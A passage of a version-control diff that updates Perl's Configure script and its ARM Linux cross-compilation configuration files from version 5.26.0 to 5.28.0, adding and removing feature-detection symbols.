+			     END	{ printf "0\n"}' signal.lst`
 	;;
 esac
 echo "The following $sig_count signals are available:"
@@ -22696,7 +22062,6 @@
 	echo "(I can't compile the test program--guessing $sizesize.)" >&4
 fi
 
-
 : check for socklen_t
 echo " "
 echo "Checking to see if you have socklen_t..." >&4
@@ -22969,7 +22334,6 @@
 	echo "(I can't compile the test program--guessing unsigned.)" >&4
 fi
 
-
 : Check format string for UID
 echo " "
 $echo "Checking the format string to be used for uids..." >&4
@@ -23234,21 +22598,6 @@
 	;;
     esac
 
-: see if prototypes support variable argument declarations
-echo " "
-case "$prototype$i_stdarg" in
-$define$define)
-	echo "It appears we'll be able to prototype varargs functions." >&4
-	val="$define"
-	;;
-*)
-	echo "Too bad... We won't be using prototyped varargs functions..." >&4
-	val="$undef"
-	;;
-esac
-set vaproto
-eval $setvar
-
 : determine compiler compiler
 case "$yacc" in
 '')
@@ -23280,10 +22629,6 @@
 	;;
 esac
 
-: see if this is a assert.h system
-set assert.h i_assert
-eval $inhdr
-
 : see if this is a bfd.h system
 set bfd.h i_bfd
 eval $inhdr
@@ -23407,7 +22752,7 @@
 GCC_NEW_VARARGS gcos gcx gimpel GLIBC GLIBC_MINOR GNUC GNUC_MINOR
 GNU_LIBRARY GNU_SOURCE GO32 gould GOULD_PN
 H3050R H3050RX hbullx20 hcx host_mips hp200 hp300 HP700 hp700
-hp800 hp9000 hp9000s200 hp9000s300 hp9000s400 hp9000s500
+hp800 hp9000 hp9000s200 hp9000s300 hp9000s400
 hp9000s700 hp9000s800 hp9k8 hppa hpux HPUX_SOURCE hp_osf
 i186 i286 i386 i486 i586 i686 i8086 i80960 i860 I960 IA32 IA64
 iAPX286 ibm ibm032 ibmesa IBMR2 ibmrt ILP32 ILP64
@@ -23506,7 +22851,7 @@
     printf "#ifdef _%s\nprintf(\"_%s=%%s\\n\", STRINGIFY(_%s));\n#endif\n", $1, $1, $1
     printf "#ifdef __%s\nprintf(\"__%s=%%s\\n\", STRINGIFY(__%s));\n#endif\n", $1, $1, $1
     printf "#ifdef __%s__\nprintf(\"__%s__=%%s\\n\", STRINGIFY(__%s__));\n#endif\n", $1, $1, $1
-}'	 >> try.c
+}' >> try.c
 echo 'return 0;}' >> try.c
 EOSH
 cat <<EOSH >> Cppsym.try
@@ -23612,7 +22957,7 @@
 
 : add -D_FORTIFY_SOURCE if feasible and not already there
 case "$gccversion" in
-[45].*)	case "$optimize$ccflags" in
+[4567].*)	case "$optimize$ccflags" in
 	*-O*)	case "$ccflags$cppsymbols" in
 		*_FORTIFY_SOURCE=*) # Don't add it again.
 			echo "You seem to have -D_FORTIFY_SOURCE already, not adding it." >&4
@@ -23630,6 +22975,24 @@
 	;;
 esac
 
+: script used to emit important warnings
+cat >warn <<EOS
+$startsh
+if test \$# -gt 0; then
+	echo "\$@" >msg
+else
+	cat >msg
+fi
+echo "*** WARNING:" >&4
+sed -e 's/^/*** /' <msg >&4
+echo "*** " >&4
+cat msg >>config.msg
+echo " " >>config.msg
+rm -f msg
+EOS
+chmod +x warn
+$eunicefix warn
+
 : see if this is a termio system
 val="$undef"
 val2="$undef"
@@ -23714,10 +23077,6 @@
 set i_stdbool
 eval $setvar
 
-: see if stddef is available
-set stddef.h i_stddef
-eval $inhdr
-
 : see if stdint is available
 set stdint.h i_stdint
 eval $inhdr
@@ -23822,6 +23181,10 @@
 	;;
 esac
 
+: see if wchar.h is present
+set wchar.h i_wchar
+eval $inhdr
+
 : Check extensions
 echo " "
 echo "Looking for extensions..." >&4
@@ -23920,11 +23283,6 @@
 		$define) avail_ext="$avail_ext $xxx" ;;
 		esac
 		;;
-	I18N/Langinfo|i18n_lan)
-		case "$i_langinfo$d_nl_langinfo" in
-		$define$define) avail_ext="$avail_ext $xxx" ;;
-		esac
-		;;
 	IPC/SysV|ipc/sysv)
 		: XXX Do we need a useipcsysv variable here
 		case "${d_msg}${d_sem}${d_shm}" in
@@ -23978,6 +23336,11 @@
 		true|$define|y) avail_ext="$avail_ext $xxx" ;;
 		esac
 		;;
+	I18N/Langinfo|langinfo)
+		case "$uselanginfo" in
+		true|define|y) avail_ext="$avail_ext $xxx" ;;
+		esac
+		;;
 	Sys/Syslog|sys/syslog)
 		case $osname in
 			amigaos) ;; # not really very useful on AmigaOS
@@ -24359,7 +23722,6 @@
 afs='$afs'
 afsroot='$afsroot'
 alignbytes='$alignbytes'
-ansi2knr='$ansi2knr'
 aphostname='$aphostname'
 api_revision='$api_revision'
 api_subversion='$api_subversion'
@@ -24435,6 +23797,7 @@
 d_PRIx64='$d_PRIx64'
 d_SCNfldbl='$d_SCNfldbl'
 d__fwalk='$d__fwalk'
+d_accept4='$d_accept4'
 d_access='$d_access'
 d_accessx='$d_accessx'
 d_acosh='$d_acosh'
@@ -24456,19 +23819,18 @@
 d_attribute_unused='$d_attribute_unused'
 d_attribute_warn_unused_result='$d_attribute_warn_unused_result'
 d_backtrace='$d_backtrace'
-d_bcmp='$d_bcmp'
-d_bcopy='$d_bcopy'
 d_bsd='$d_bsd'
 d_bsdgetpgrp='$d_bsdgetpgrp'
 d_bsdsetpgrp='$d_bsdsetpgrp'
+d_builtin_add_overflow='$d_builtin_add_overflow'
 d_builtin_choose_expr='$d_builtin_choose_expr'
 d_builtin_expect='$d_builtin_expect'
-d_bzero='$d_bzero'
+d_builtin_mul_overflow='$d_builtin_mul_overflow'
+d_builtin_sub_overflow='$d_builtin_sub_overflow'
 d_c99_variadic_macros='$d_c99_variadic_macros'
 d_casti32='$d_casti32'
 d_castneg='$d_castneg'
 d_cbrt='$d_cbrt'
-d_charvspr='$d_charvspr'
 d_chown='$d_chown'
 d_chroot='$d_chroot'
 d_chsize='$d_chsize'
@@ -24488,7 +23850,6 @@
 d_ctime64='$d_ctime64'
 d_ctime_r='$d_ctime_r'
 d_cuserid='$d_cuserid'
-d_dbl_dig='$d_dbl_dig'
 d_dbminitproto='$d_dbminitproto'
 d_difftime64='$d_difftime64'
 d_difftime='$d_difftime'
@@ -24511,6 +23872,7 @@
 d_drand48_r='$d_drand48_r'
 d_drand48proto='$d_drand48proto'
 d_dup2='$d_dup2'
+d_dup3='$d_dup3'
 d_duplocale='$d_duplocale'
 d_eaccess='$d_eaccess'
 d_endgrent='$d_endgrent'
@@ -24534,6 +23896,7 @@
 d_faststdio='$d_faststdio'
 d_fchdir='$d_fchdir'
 d_fchmod='$d_fchmod'
+d_fchmodat='$d_fchmodat'
 d_fchown='$d_fchown'
 d_fcntl='$d_fcntl'
 d_fcntl_can_lock='$d_fcntl_can_lock'
@@ -24644,7 +24007,6 @@
 d_ilogb='$d_ilogb'
 d_ilogbl='$d_ilogbl'
 d_inc_version_list='$d_inc_version_list'
-d_index='$d_index'
 d_inetaton='$d_inetaton'
 d_inetntop='$d_inetntop'
 d_inetpton='$d_inetpton'
@@ -24675,10 +24037,12 @@
 d_libm_lib_version='$d_libm_lib_version'
 d_libname_unique='$d_libname_unique'
 d_link='$d_link'
+d_linkat='$d_linkat'
 d_llrint='$d_llrint'
 d_llrintl='$d_llrintl'
 d_llround='$d_llround'
 d_llroundl='$d_llroundl'
+d_localeconv_l='$d_localeconv_l'
 d_localtime64='$d_localtime64'
 d_localtime_r='$d_localtime_r'
 d_localtime_r_needs_tzset='$d_localtime_r_needs_tzset'
@@ -24704,17 +24068,16 @@
 d_malloc_good_size='$d_malloc_good_size'
 d_malloc_size='$d_malloc_size'
 d_mblen='$d_mblen'
+d_mbrlen='$d_mbrlen'
+d_mbrtowc='$d_mbrtowc'
 d_mbstowcs='$d_mbstowcs'
 d_mbtowc='$d_mbtowc'
-d_memchr='$d_memchr'
-d_memcmp='$d_memcmp'
-d_memcpy='$d_memcpy'
 d_memmem='$d_memmem'
-d_memmove='$d_memmove'
-d_memset='$d_memset'
+d_memrchr='$d_memrchr'
 d_mkdir='$d_mkdir'
 d_mkdtemp='$d_mkdtemp'
 d_mkfifo='$d_mkfifo'
+d_mkostemp='$d_mkostemp'
 d_mkstemp='$d_mkstemp'
 d_mkstemps='$d_mkstemps'
 d_mktime64='$d_mktime64'
@@ -24738,6 +24101,7 @@
 d_munmap='$d_munmap'
 d_mymalloc='$d_mymalloc'
 d_nan='$d_nan'
+d_nanosleep='$d_nanosleep'
 d_ndbm='$d_ndbm'
 d_ndbm_h_uses_prototypes='$d_ndbm_h_uses_prototypes'
 d_nearbyint='$d_nearbyint'
@@ -24753,10 +24117,12 @@
 d_oldpthreads='$d_oldpthreads'
 d_oldsock='$d_oldsock'
 d_open3='$d_open3'
+d_openat='$d_openat'
 d_pathconf='$d_pathconf'
 d_pause='$d_pause'
 d_perl_otherlibdirs='$d_perl_otherlibdirs'
 d_phostname='$d_phostname'
+d_pipe2='$d_pipe2'
 d_pipe='$d_pipe'
 d_poll='$d_poll'
 d_portable='$d_portable'
@@ -24793,13 +24159,11 @@
 d_remainder='$d_remainder'
 d_remquo='$d_remquo'
 d_rename='$d_rename'
+d_renameat='$d_renameat'
 d_rewinddir='$d_rewinddir'
 d_rint='$d_rint'
 d_rmdir='$d_rmdir'
 d_round='$d_round'
-d_safebcpy='$d_safebcpy'
-d_safemcpy='$d_safemcpy'
-d_sanemcmp='$d_sanemcmp'
 d_sbrkproto='$d_sbrkproto'
 d_scalbn='$d_scalbn'
 d_scalbnl='$d_scalbnl'
@@ -24875,7 +24239,6 @@
 d_socklen_t='$d_socklen_t'
 d_sockpair='$d_sockpair'
 d_socks5_init='$d_socks5_init'
-d_sprintf_returns_strlen='$d_sprintf_returns_strlen'
 d_sqrtl='$d_sqrtl'
 d_srand48_r='$d_srand48_r'
 d_srandom_r='$d_srandom_r'
@@ -24894,19 +24257,18 @@
 d_stdio_stream_array='$d_stdio_stream_array'
 d_stdiobase='$d_stdiobase'
 d_stdstdio='$d_stdstdio'
-d_strchr='$d_strchr'
 d_strcoll='$d_strcoll'
-d_strctcpy='$d_strctcpy'
-d_strerrm='$d_strerrm'
-d_strerror='$d_strerror'
 d_strerror_l='$d_strerror_l'
 d_strerror_r='$d_strerror_r'
 d_strftime='$d_strftime'
 d_strlcat='$d_strlcat'
 d_strlcpy='$d_strlcpy'
+d_strnlen='$d_strnlen'
 d_strtod='$d_strtod'
+d_strtod_l='$d_strtod_l'
 d_strtol='$d_strtol'
 d_strtold='$d_strtold'
+d_strtold_l='$d_strtold_l'
 d_strtoll='$d_strtoll'
 d_strtoq='$d_strtoq'
 d_strtoul='$d_strtoul'
@@ -24926,6 +24288,7 @@
 d_telldir='$d_telldir'
 d_telldirproto='$d_telldirproto'
 d_tgamma='$d_tgamma'
+d_thread_safe_nl_langinfo_l='$d_thread_safe_nl_langinfo_l'
 d_time='$d_time'
 d_timegm='$d_timegm'
 d_times='$d_times'
@@ -24942,6 +24305,7 @@
 d_umask='$d_umask'
 d_uname='$d_uname'
 d_union_semun='$d_union_semun'
+d_unlinkat='$d_unlinkat'
 d_unordered='$d_unordered'
 d_unsetenv='$d_unsetenv'
 d_uselocale='$d_uselocale'
@@ -24956,8 +24320,6 @@
 d_void_closedir='$d_void_closedir'
 d_voidsig='$d_voidsig'
 d_voidtty='$d_voidtty'
-d_volatile='$d_volatile'
-d_vprintf='$d_vprintf'
 d_vsnprintf='$d_vsnprintf'
 d_wait4='$d_wait4'
 d_waitpid='$d_waitpid'
@@ -25072,7 +24434,6 @@
 i8size='$i8size'
 i8type='$i8type'
 i_arpainet='$i_arpainet'
-i_assert='$i_assert'
 i_bfd='$i_bfd'
 i_bsdioctl='$i_bsdioctl'
 i_crypt='$i_crypt'
@@ -25083,7 +24444,6 @@
 i_execinfo='$i_execinfo'
 i_fcntl='$i_fcntl'
 i_fenv='$i_fenv'
-i_float='$i_float'
 i_fp='$i_fp'
 i_fp_class='$i_fp_class'
 i_gdbm='$i_gdbm'
@@ -25094,13 +24454,10 @@
 i_inttypes='$i_inttypes'
 i_langinfo='$i_langinfo'
 i_libutil='$i_libutil'
-i_limits='$i_limits'
 i_locale='$i_locale'
 i_machcthr='$i_machcthr'
 i_malloc='$i_malloc'
 i_mallocmalloc='$i_mallocmalloc'
-i_math='$i_math'
-i_memory='$i_memory'
 i_mntent='$i_mntent'
 i_ndbm='$i_ndbm'
 i_netdb='$i_netdb'
@@ -25116,12 +24473,9 @@
 i_sgtty='$i_sgtty'
 i_shadow='$i_shadow'
 i_socks='$i_socks'
-i_stdarg='$i_stdarg'
 i_stdbool='$i_stdbool'
-i_stddef='$i_stddef'
 i_stdint='$i_stdint'
 i_stdlib='$i_stdlib'
-i_string='$i_string'
 i_sunmath='$i_sunmath'
 i_sysaccess='$i_sysaccess'
 i_sysdir='$i_sysdir'
@@ -25158,10 +24512,8 @@
 i_unistd='$i_unistd'
 i_ustat='$i_ustat'
 i_utime='$i_utime'
-i_values='$i_values'
-i_varargs='$i_varargs'
-i_varhdr='$i_varhdr'
 i_vfork='$i_vfork'
+i_wchar='$i_wchar'
 i_xlocale='$i_xlocale'
 ignore_versioned_solibs='$ignore_versioned_solibs'
 inc_version_list='$inc_version_list'
@@ -25321,7 +24673,6 @@
 privlib='$privlib'
 privlibexp='$privlibexp'
 procselfexe='$procselfexe'
-prototype='$prototype'
 ptrsize='$ptrsize'
 quadkind='$quadkind'
 quadtype='$quadtype'
@@ -25432,7 +24783,6 @@
 stdio_ptr='$stdio_ptr'
 stdio_stream_array='$stdio_stream_array'
 strerror_r_proto='$strerror_r_proto'
-strings='$strings'
 submit='$submit'
 subversion='$subversion'
 sysman='$sysman'
@@ -25484,6 +24834,7 @@
 usefaststdio='$usefaststdio'
 useithreads='$useithreads'
 usekernprocpathname='$usekernprocpathname'
+uselanginfo='$uselanginfo'
 uselargefiles='$uselargefiles'
 uselongdouble='$uselongdouble'
 usemallocwrap='$usemallocwrap'
@@ -25513,7 +24864,6 @@
 uvtype='$uvtype'
 uvuformat='$uvuformat'
 uvxformat='$uvxformat'
-vaproto='$vaproto'
 vendorarch='$vendorarch'
 vendorarchexp='$vendorarchexp'
 vendorbin='$vendorbin'

Modified: vendor/perl/dist/Cross/Makefile-cross-SH
===================================================================
--- vendor/perl/dist/Cross/Makefile-cross-SH	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Cross/Makefile-cross-SH	2018-12-22 22:55:19 UTC (rev 12126)
@@ -856,10 +856,6 @@
 # with your existing copy of perl
 # (make regen_headers is kept for backwards compatibility)
 
-AUTOGEN_FILES = opcode.h opnames.h pp_proto.h proto.h embed.h embedvar.h \
-		perlapi.h perlapi.c regnodes.h warnings.h lib/warnings.pm \
-		lib/feature.pm feature.h
-
 .PHONY: regen_headers regen_all
 
 regen regen_headers:	FORCE

Modified: vendor/perl/dist/Cross/cflags-cross-arm
===================================================================
--- vendor/perl/dist/Cross/cflags-cross-arm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Cross/cflags-cross-arm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -148,7 +148,6 @@
   ccflags="-DPERL_PATCHNUM=`cat .patch` $ccflags"
 fi
 
-    : Can we perhaps use $ansi2knr here
     echo "$CROSSCC -c -DUSE_CROSS_COMPILE -DPERL_CORE $ccflags $stdflags $optimize $warn $extra"
     eval "$also "'"$CROSSCC -DUSE_CROSS_COMPILE -DPERL_CORE -c $ccflags $stdflags $optimize $warn $extra"'
 

Modified: vendor/perl/dist/Cross/config.sh-arm-linux
===================================================================
--- vendor/perl/dist/Cross/config.sh-arm-linux	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Cross/config.sh-arm-linux	2018-12-22 22:55:19 UTC (rev 12126)
@@ -29,15 +29,14 @@
 afs='false'
 afsroot='/afs'
 alignbytes='4'
-ansi2knr=''
 aphostname='/bin/hostname'
 api_revision='5'
 api_subversion='0'
-api_version='26'
-api_versionstring='5.26.0'
+api_version='28'
+api_versionstring='5.28.0'
 ar='ar'
-archlib='/usr/lib/perl5/5.26.0/armv4l-linux'
-archlibexp='/usr/lib/perl5/5.26.0/armv4l-linux'
+archlib='/usr/lib/perl5/5.28.0/armv4l-linux'
+archlibexp='/usr/lib/perl5/5.28.0/armv4l-linux'
 archname64=''
 archname='armv4l-linux'
 archobjs=''
@@ -56,7 +55,7 @@
 cat='cat'
 cc='cc'
 cccdlflags='-fpic'
-ccdlflags='-rdynamic -Wl,-rpath,/usr/lib/perl5/5.26.0/armv4l-linux/CORE'
+ccdlflags='-rdynamic -Wl,-rpath,/usr/lib/perl5/5.28.0/armv4l-linux/CORE'
 ccflags='-fno-strict-aliasing -I/usr/local/include -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64'
 ccflags_uselargefiles='-D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64'
 ccname='arm-linux-gcc'
@@ -104,6 +103,7 @@
 d_PRIx64='define'
 d_SCNfldbl='define'
 d__fwalk='undef'
+d_accept4='undef'
 d_access='define'
 d_accessx='undef'
 d_acosh='define'
@@ -125,19 +125,18 @@
 d_attribute_unused='undef'
 d_attribute_warn_unused_result='undef'
 d_backtrace='undef'
-d_bcmp='define'
-d_bcopy='define'
 d_bsd='undef'
 d_bsdgetpgrp='undef'
 d_bsdsetpgrp='undef'
+d_builtin_add_overflow='undef'
 d_builtin_choose_expr='define'
 d_builtin_expect='define'
-d_bzero='define'
+d_builtin_mul_overflow='undef'
+d_builtin_sub_overflow='undef'
 d_c99_variadic_macros='undef'
 d_casti32='define'
 d_castneg='define'
 d_cbrt='undef'
-d_charvspr='undef'
 d_chown='define'
 d_chroot='define'
 d_chsize='undef'
@@ -180,6 +179,8 @@
 d_drand48_r='undef'
 d_drand48proto='define'
 d_dup2='define'
+d_dup3='undef'
+d_duplocale='undef'
 d_eaccess='undef'
 d_endgrent='define'
 d_endgrent_r='undef'
@@ -202,6 +203,7 @@
 d_faststdio='define'
 d_fchdir='define'
 d_fchmod='define'
+d_fchmodat='undef'
 d_fchown='define'
 d_fcntl='define'
 d_fcntl_can_lock='define'
@@ -342,10 +344,12 @@
 d_lgamma_r='undef'
 d_libm_lib_version='define'
 d_link='define'
+d_linkat='undef'
 d_llrint='undef'
 d_llrintl='undef'
 d_llround='undef'
 d_llroundl='undef'
+d_localeconv_l='undef'
 d_localtime64='undef'
 d_localtime_r='undef'
 d_localtime_r_needs_tzset='undef'
@@ -371,17 +375,16 @@
 d_malloc_good_size='undef'
 d_malloc_size='undef'
 d_mblen='define'
+d_mbrlen='undef'
+d_mbrtowc='undef'
 d_mbstowcs='define'
 d_mbtowc='define'
-d_memchr='define'
-d_memcmp='define'
-d_memcpy='define'
 d_memmem='undef'
-d_memmove='define'
-d_memset='define'
+d_memrchr='undef'
 d_mkdir='define'
 d_mkdtemp='define'
 d_mkfifo='define'
+d_mkostemp='undef'
 d_mkstemp='define'
 d_mkstemps='undef'
 d_mktime64='undef'
@@ -406,6 +409,7 @@
 d_munmap='define'
 d_mymalloc='undef'
 d_nan='undef'
+d_nanosleep='undef'
 d_ndbm_h_uses_prototypes='undef'
 d_nearbyint='undef'
 d_newlocale='undef'
@@ -420,10 +424,12 @@
 d_oldpthreads='undef'
 d_oldsock='undef'
 d_open3='define'
+d_openat='undef'
 d_pathconf='define'
 d_pause='define'
 d_perl_otherlibdirs='undef'
 d_phostname='undef'
+d_pipe2='undef'
 d_pipe='define'
 d_poll='define'
 d_portable='define'
@@ -458,13 +464,11 @@
 d_remainder='undef'
 d_remquo='undef'
 d_rename='define'
+d_renameat='undef'
 d_rewinddir='define'
 d_rint='undef'
 d_rmdir='define'
 d_round='undef'
-d_safebcpy='undef'
-d_safemcpy='undef'
-d_sanemcmp='define'
 d_sbrkproto='define'
 d_scalbn='undef'
 d_scalbnl='define'
@@ -539,7 +543,6 @@
 d_socklen_t='define'
 d_sockpair='define'
 d_socks5_init='undef'
-d_sprintf_returns_strlen='define'
 d_sqrtl='define'
 d_srand48_r='undef'
 d_srandom_r='undef'
@@ -558,19 +561,18 @@
 d_stdio_stream_array='undef'
 d_stdiobase='define'
 d_stdstdio='define'
-d_strchr='define'
 d_strcoll='define'
-d_strctcpy='define'
-d_strerrm='strerror(e)'
-d_strerror='define'
 d_strerror_l='undef'
 d_strerror_r='undef'
 d_strftime='define'
 d_strlcat='undef'
 d_strlcpy='undef'
+d_strnlen='undef'
 d_strtod='define'
+d_strtod_l='undef'
 d_strtol='define'
 d_strtold='define'
+d_strtold_l='undef'
 d_strtoll='define'
 d_strtoq='define'
 d_strtoul='define'
@@ -590,6 +592,7 @@
 d_telldir='define'
 d_telldirproto='define'
 d_tgamma='undef'
+d_thread_safe_nl_langinfo_l='undef'
 d_time='define'
 d_timegm='define'
 d_times='define'
@@ -606,6 +609,7 @@
 d_umask='define'
 d_uname='define'
 d_union_semun='undef'
+d_unlinkat='undef'
 d_unordered='undef'
 d_unsetenv='define'
 d_uselocale='undef'
@@ -620,8 +624,6 @@
 d_void_closedir='undef'
 d_voidsig='define'
 d_voidtty=''
-d_volatile='define'
-d_vprintf='define'
 d_vsnprintf='define'
 d_wait4='define'
 d_waitpid='define'
@@ -730,7 +732,6 @@
 i8size='1'
 i8type='char'
 i_arpainet='define'
-i_assert='define'
 i_bfd='undef'
 i_bsdioctl=''
 i_crypt='define'
@@ -741,7 +742,6 @@
 i_execinfo='undef'
 i_fcntl='undef'
 i_fenv='define'
-i_float='define'
 i_fp='undef'
 i_fp_class='undef'
 i_gdbm='undef'
@@ -752,13 +752,10 @@
 i_inttypes='define'
 i_langinfo='define'
 i_libutil='undef'
-i_limits='define'
 i_locale='define'
 i_machcthr='undef'
 i_malloc='define'
 i_mallocmalloc='undef'
-i_math='define'
-i_memory='undef'
 i_mntent='define'
 i_ndbm='undef'
 i_netdb='define'
@@ -774,12 +771,9 @@
 i_sgtty='undef'
 i_shadow='define'
 i_socks='undef'
-i_stdarg='define'
 i_stdbool='undef'
-i_stddef='define'
 i_stdint='define'
 i_stdlib='define'
-i_string='define'
 i_sunmath='undef'
 i_sysaccess='undef'
 i_sysdir='define'
@@ -816,10 +810,8 @@
 i_unistd='define'
 i_ustat='define'
 i_utime='define'
-i_values='define'
-i_varargs='undef'
-i_varhdr='stdarg.h'
 i_vfork='undef'
+i_wchar='undef'
 i_xlocale='undef'
 ignore_versioned_solibs='y'
 inc_version_list=' '
@@ -826,7 +818,7 @@
 inc_version_list_init='0'
 incpath=''
 inews=''
-installarchlib='./install_me_here/usr/lib/perl5/5.26.0/armv4l-linux'
+installarchlib='./install_me_here/usr/lib/perl5/5.28.0/armv4l-linux'
 installbin='./install_me_here/usr/bin'
 installhtml1dir=''
 installhtml3dir=''
@@ -834,13 +826,13 @@
 installman3dir='./install_me_here/usr/share/man/man3'
 installprefix='./install_me_here/usr'
 installprefixexp='./install_me_here/usr'
-installprivlib='./install_me_here/usr/lib/perl5/5.26.0'
+installprivlib='./install_me_here/usr/lib/perl5/5.28.0'
 installscript='./install_me_here/usr/bin'
-installsitearch='./install_me_here/usr/lib/perl5/site_perl/5.26.0/armv4l-linux'
+installsitearch='./install_me_here/usr/lib/perl5/site_perl/5.28.0/armv4l-linux'
 installsitebin='./install_me_here/usr/bin'
 installsitehtml1dir=''
 installsitehtml3dir=''
-installsitelib='./install_me_here/usr/lib/perl5/site_perl/5.26.0'
+installsitelib='./install_me_here/usr/lib/perl5/site_perl/5.28.0'
 installsiteman1dir='./install_me_here/usr/share/man/man1'
 installsiteman3dir='./install_me_here/usr/share/man/man3'
 installsitescript='./install_me_here/usr/bin'
@@ -974,8 +966,8 @@
 pr=''
 prefix='/usr'
 prefixexp='/usr'
-privlib='/usr/lib/perl5/5.26.0'
-privlibexp='/usr/lib/perl5/5.26.0'
+privlib='/usr/lib/perl5/5.28.0'
+privlibexp='/usr/lib/perl5/5.28.0'
 procselfexe='"/proc/self/exe"'
 prototype='define'
 ptrsize='4'
@@ -1040,8 +1032,8 @@
 sig_num_init='0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 6, 17, 29, 31, 0'
 sig_size='68'
 signal_t='void'
-sitearch='/usr/lib/perl5/site_perl/5.26.0/armv4l-linux'
-sitearchexp='/usr/lib/perl5/site_perl/5.26.0/armv4l-linux'
+sitearch='/usr/lib/perl5/site_perl/5.28.0/armv4l-linux'
+sitearchexp='/usr/lib/perl5/site_perl/5.28.0/armv4l-linux'
 sitebin='/usr/bin'
 sitebinexp='/usr/bin'
 sitehtml1dir=''
@@ -1048,9 +1040,9 @@
 sitehtml1direxp=''
 sitehtml3dir=''
 sitehtml3direxp=''
-sitelib='/usr/lib/perl5/site_perl/5.26.0'
+sitelib='/usr/lib/perl5/site_perl/5.28.0'
 sitelib_stem='/usr/lib/perl5/site_perl'
-sitelibexp='/usr/lib/perl5/site_perl/5.26.0'
+sitelibexp='/usr/lib/perl5/site_perl/5.28.0'
 siteman1dir='/usr/share/man/man1'
 siteman1direxp='/usr/share/man/man1'
 siteman3dir='/usr/share/man/man3'
@@ -1161,7 +1153,6 @@
 uvtype='unsigned long'
 uvuformat='"lu"'
 uvxformat='"lx"'
-vaproto='undef'
 vendorarch=''
 vendorarchexp=''
 vendorbin=''
@@ -1181,8 +1172,8 @@
 vendorprefixexp=''
 vendorscript=''
 vendorscriptexp=''
-version='5.26.0'
-version_patchlevel_string='version 26 subversion 0'
+version='5.28.0'
+version_patchlevel_string='version 28 subversion 0'
 versiononly='undef'
 vi=''
 xlibpth='/usr/lib/386 /lib/386'
@@ -1195,10 +1186,10 @@
 config_args=''
 config_argc=0
 PERL_REVISION=5
-PERL_VERSION=26
+PERL_VERSION=28
 PERL_SUBVERSION=0
 PERL_API_REVISION=5
-PERL_API_VERSION=26
+PERL_API_VERSION=28
 PERL_API_SUBVERSION=0
 PERL_PATCHLEVEL=
 PERL_CONFIG_SH=true

Modified: vendor/perl/dist/Cross/config.sh-arm-linux-n770
===================================================================
--- vendor/perl/dist/Cross/config.sh-arm-linux-n770	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Cross/config.sh-arm-linux-n770	2018-12-22 22:55:19 UTC (rev 12126)
@@ -29,15 +29,14 @@
 afs='false'
 afsroot='/afs'
 alignbytes='4'
-ansi2knr=''
 aphostname='/bin/hostname'
 api_revision='5'
 api_subversion='0'
-api_version='26'
-api_versionstring='5.26.0'
+api_version='28'
+api_versionstring='5.28.0'
 ar='ar'
-archlib='/usr/lib/perl5/5.26.0/armv4l-linux'
-archlibexp='/usr/lib/perl5/5.26.0/armv4l-linux'
+archlib='/usr/lib/perl5/5.28.0/armv4l-linux'
+archlibexp='/usr/lib/perl5/5.28.0/armv4l-linux'
 archname64=''
 archname='armv4l-linux'
 archobjs=''
@@ -55,7 +54,7 @@
 cat='cat'
 cc='arm-none-linux-gnueabi-gcc'
 cccdlflags='-fpic'
-ccdlflags='-rdynamic -Wl,-rpath,/usr/lib/perl5/5.26.0/armv4l-linux/CORE'
+ccdlflags='-rdynamic -Wl,-rpath,/usr/lib/perl5/5.28.0/armv4l-linux/CORE'
 ccflags='-fno-strict-aliasing -I/usr/local/include -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64'
 ccflags_uselargefiles='-D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64'
 ccname='arm-linux-gcc'
@@ -64,6 +63,7 @@
 cf_by='red'
 cf_email='red at criticalintegration.com'
 cf_time='Wed Sep  3 22:24:58 EDT 2003'
+charbits='8'
 chgrp=''
 chmod='chmod'
 chown=''
@@ -102,14 +102,20 @@
 d_PRIx64='define'
 d_SCNfldbl='define'
 d__fwalk='undef'
+d_accept4='undef'
 d_access='define'
 d_accessx='undef'
+d_acosh='define'
 d_aintl='undef'
 d_alarm='define'
 d_archlib='define'
+d_asctime64='undef'
 d_asctime_r='undef'
+d_asinh='undef'
+d_atanh='undef'
 d_atolf='undef'
 d_atoll='define'
+d_attribute_deprecated='undef'
 d_attribute_format='undef'
 d_attribute_malloc='undef'
 d_attribute_nonnull='undef'
@@ -117,18 +123,19 @@
 d_attribute_pure='undef'
 d_attribute_unused='undef'
 d_attribute_warn_unused_result='undef'
-d_bcmp='define'
-d_bcopy='define'
+d_backtrace='undef'
 d_bsd='undef'
 d_bsdgetpgrp='undef'
 d_bsdsetpgrp='undef'
+d_builtin_add_overflow='undef'
 d_builtin_choose_expr='define'
 d_builtin_expect='define'
-d_bzero='define'
+d_builtin_mul_overflow='undef'
+d_builtin_sub_overflow='undef'
 d_c99_variadic_macros='undef'
 d_casti32='define'
 d_castneg='define'
-d_charvspr='undef'
+d_cbrt='undef'
 d_chown='define'
 d_chroot='define'
 d_chsize='undef'
@@ -137,6 +144,7 @@
 d_closedir='define'
 d_cmsghdr_s='define'
 d_const='define'
+d_copysign='undef'
 d_copysignl='define'
 d_cplusplus='undef'
 d_crypt='define'
@@ -144,21 +152,34 @@
 d_csh='define'
 d_ctermid='undef'
 d_ctermid_r='undef'
+d_ctime64='undef'
 d_ctime_r='undef'
 d_cuserid='define'
 d_dbl_dig='define'
 d_dbminitproto='undef'
+d_difftime64='undef'
 d_difftime='define'
 d_dir_dd_fd='undef'
 d_dirfd='define'
 d_dirnamlen='undef'
+d_dladdr='undef'
 d_dlerror='define'
 d_dlopen='define'
 d_dlsymun='undef'
 d_dosuid='undef'
+d_double_has_inf='define'
+d_double_has_nan='define'
+d_double_has_negative_zero='define'
+d_double_has_subnormals='define'
+d_double_style_cray='undef'
+d_double_style_ibm='undef'
+d_double_style_ieee='define'
+d_double_style_vax='undef'
